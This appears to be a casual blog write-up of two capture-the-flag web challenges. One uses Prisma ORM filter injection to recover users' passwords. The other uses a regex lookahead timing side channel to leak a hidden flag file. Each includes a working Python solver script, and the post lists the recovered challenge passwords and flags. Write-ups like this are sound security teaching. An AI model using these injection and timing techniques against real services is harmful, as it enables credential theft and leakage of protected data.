ill wriet this in like 12 hours idk its now 1 month later masterful procrastination

Prismatic Blogs

overview

we’re provided with two endpoints: /api/login/ and /api/posts/
the service uses prisma database and initialize 4 users with randomized password
our flag is in one of the 4 users’ post, except it isn’t published

we can’t really do much with /login/, so lets check /posts/:

app.get(
  "/api/posts",
  async (req, res) => {
    try {
      let query = req.query;
      query.published = true;
      let posts = await prisma.post.findMany({where: query});
      res.json({success: true, posts})
    } catch (error) {
      res.json({ success: false, error });
    }
  }
);

notice that our query is directly passed into findMany without any sanitizations. can we exploit that?

solving

the key is at this blog post:
since Post and User are linked together, we can exploit many-to-many relationships and leak password characters e.g. posts?author[name][startsWith]=White&author[password][startsWith]=a

however since the database uses sqlite, making startsWith not support case sensitivity, we can’t do much:

By default, text fields created by Prisma Client in SQLite databases do not support case-insensitive filtering. In SQLite, only case-insensitive comparisons of ASCII characters are possible.

at that time I thought the only way is just do exact matches like equals or in, since they are case sensitive
so i used… binary search… probably too overkill

import requests
import time
import itertools

baseURL = 'http://35.239.207.1:3000/api/posts?author[name][startsWith]=s'
#White, Bob, Tommy, Sam

def meow(guess):
    url = guess
    response = requests.get(url)
    return response.json()['posts'] != []

known = 'AIIR7DXG3EARBQU'
characters = list(known)
combos = [''.join(combo) for combo in itertools.product(*[(char.lower(), char.upper()) if char.isalpha() else (char,) for char in characters])]

while len(combos) >= 2:
    payload = baseURL
    queue = []
    
    for i in range(len(combos)):
        guess = f'&author[password][in][]={combos[i]}'
        payload += guess
        queue.append(combos[i])

        if len(payload + guess) <= 12300 and len(queue) <= len(combos)//2 and i != len(combos)-1:
            continue

        print(f"Guessing {len(queue)} items: {queue[0]}...{queue[-1]} ({i-1}/{len(combos)})")
        if meow(payload):
            if len(queue) == 1:
                print(f'pass: {combos[i]}')

            combos = queue
            break
        
        queue = []
        payload = baseURL

finally we get each user’s password: white - 3PCTWJFABWPLO6QNGGS1P4 bob - 8AXCGMISH5ZN59RSXJM tom - OZUSYFPSXLWZUIPOYWETQ9 sam - AIIR7DXG3EARBQU and in bob’s posts we login and find the flag: flag: uoftctf{u51n6_0rm5_d035_n07_m34n_1nj3c710n5_c4n7_h4pp3n}

post ctf i realized i can just use lt to figure out the casing lmao

CodeDB

overview

we’re given a codebase searching service, and we can query in plaintext or regex. simple as that
our flag.txt is also one of the codefiles, except we cant see it:

function initializeFiles() {
  const files = fs.readdirSync(CODE_SAMPLES_DIR);
  files.forEach(file => {
    filesIndex[file] = {
      visible: file !== 'flag.txt',
      path: path.join(CODE_SAMPLES_DIR, file),
      name: file,
      language: LANG_MAP[path.extname(file)] || null
    };
  });
  //...

there’s two directories: /view/ do check for post visibility, so we’re left with /search/

/search/ passes our query into searchWorker.js with a timeout of 1000ms
which it checks query against every file, then filters by post visibility
finally it returns the results, or errors if there’s any.

since flag.txt is accessed before it’s checked for visibility, can we do something in this timeframe?

solving

i came across this post about ReDoS eventually
simply put, if i had a query /(?=uoftctf{a).*.*.*.*.*!!!!/, depending on the content of flag.txt:

  • if the 1st letter isnt a, since regex already knows it won’t match, the rest will be ignored for optimization, taking around ~50ms
  • if its a, regex still doesn’t know whether the part later matches, so it will execute the next part, which takes relatively more time (~110ms)

which i did this:

import requests
import time

url = 'http://34.162.172.123:3000/search'

def send_request(guess):
    data = {"query": f"/(?={guess}).*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*!!!!/", "language": "All"}
    response = requests.post(url, json=data)
    return response.elapsed.total_seconds() * 100

charlist = list("{}_e3a4ri1o0t7ns25lcudpmhg6bfywkvxzjq89?!")

flag = 'uoftctf{'
while flag[-1] != '}':
    averages = []
    for ch in charlist:
        time_diffs = []
        for i in range(3):
            diff = send_request(flag + ch)
            time_diffs.append(diff)
        time_diffs.remove(max(time_diffs)) #remove outlier

        average = sum(time_diffs)/len(time_diffs)
        averages.append(average)
        print(f'/(?={flag+ch}).*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*!!!!/: {average}ms')
        
    flag += charlist[averages.index(max(averages))]

originally the time differences were inextinguishable but they fixed it. lol? flag: uoftctf{why_15_my_4pp_l4661n6_50_b4dly??}

end yap

couldve solved the vault chal too if only i realized e isnt 65537 lmao